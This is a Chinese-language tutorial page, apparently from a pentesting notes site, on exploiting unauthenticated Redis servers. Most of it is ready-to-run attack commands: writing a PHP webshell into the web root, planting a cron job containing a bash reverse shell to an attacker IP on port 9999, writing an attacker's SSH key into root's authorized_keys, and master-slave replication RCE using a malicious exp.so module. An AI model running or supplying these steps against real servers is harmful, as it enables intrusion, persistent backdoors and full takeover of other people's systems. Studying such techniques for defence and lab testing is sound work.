跳到主要内容

Redis未授权访问

Redis未授权访问

Redis常用端口:6379

如果存在未授权访问漏洞,可以使用redis-cli -h 172.16.12.50 -p 6379连接到数据库中

image-20221017102328377

Redis未授权漏洞利用

  • 利用web绝对路径写webshell

    利用条件

    • 目标存在web目录
    • 已知web绝对路径
    • 存在写入权限

    利用过程

    flushall  #清空当前redis所在库数据
    config set dir "/var/www/html" #设置目录
    config set dbfilename phpinfo.php #写文件
    set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
    save
  • 写计划任务

    只能在centos下反弹,并且权限可写计划任务配置

    利用redis生成计划任务配置文件

    config set dir "/var/spool/cron"
    config set dbfilename root
    set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.12.160/9999 0>&1\n\n"
    save
  • 写公钥免密连接

    利用条件

    • root权限
    • 开启了ssh密钥登录,存在/etc/.ssh文件

    利用过程

    1. 在靶机上开启ssh密钥登录,修改/etc/ssh/sshd_config配置文件

      RSAAuthentication设置为yes,意思是设置开启使用RSA算法的基于rhosts的安全验证;
      PubkeyAuthentication设置为yes,意思是设置开启公钥验证;
      AuthorizedKeyFiles后面的目录,是你上传的公钥所保存的文件

      image-20221017144419747

      配置好重启服务

      systemctl restart sshd
    2. 在攻击机中使用自带的命令生成一对密钥

      ssh-keygen -t rsa
    3. 将公钥内容导入key.txt文件

      (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    4. 将生成的公钥内容设置给redis里的变量

      cat /root/key.txt | redis-cli -h 172.16.12.50 -x set xxx
    5. 在 /root/.ssh 目录下生成authorized_keys文件

      redis-cli -h 172.16.12.50
      config set dir /root/.ssh
      config set dbfilename authorized_keys
      save
    6. 使用本地的私钥连接ssh

      ssh 172.16.12.50
  • 利用主从复制RCE

    利用docker进行复现

    docker pull damonevking/redis5.0  #拉取redis5.0镜像
    docker run -p 6379:6379 -d damonevking/redis5.0:latest redis-server #运行镜像并端口转发
    git clone https://github.com/Ridter/redis-rce.git
    git clone https://github.com/n0b0dyCN/redis-rogue-server
    cp redis-rogue-server/exp.so redis-rce/ #将redis-rogue-server项目中的exp.so复制至redis-rce项目中
    cd redis-rce
    pip install -r requirements.txt
    python3 redis-rce.py -r 192.168.179.87 -L 192.168.23.159 -f exp.so #-r:目标IP地址 -L:本地IP地址(公网IP地址) -f:指定恶意exp.so模块文件

    攻击原理

    攻击机运行以上命令后执行的操作

    • 连接未授权redis服务器
    • 设置filename
    • 将exp.so写入filename中,加载恶意so模块
    • 利用从redis请求主恶意redis
    • 攻击机连接x.x.x.x:50396执行命令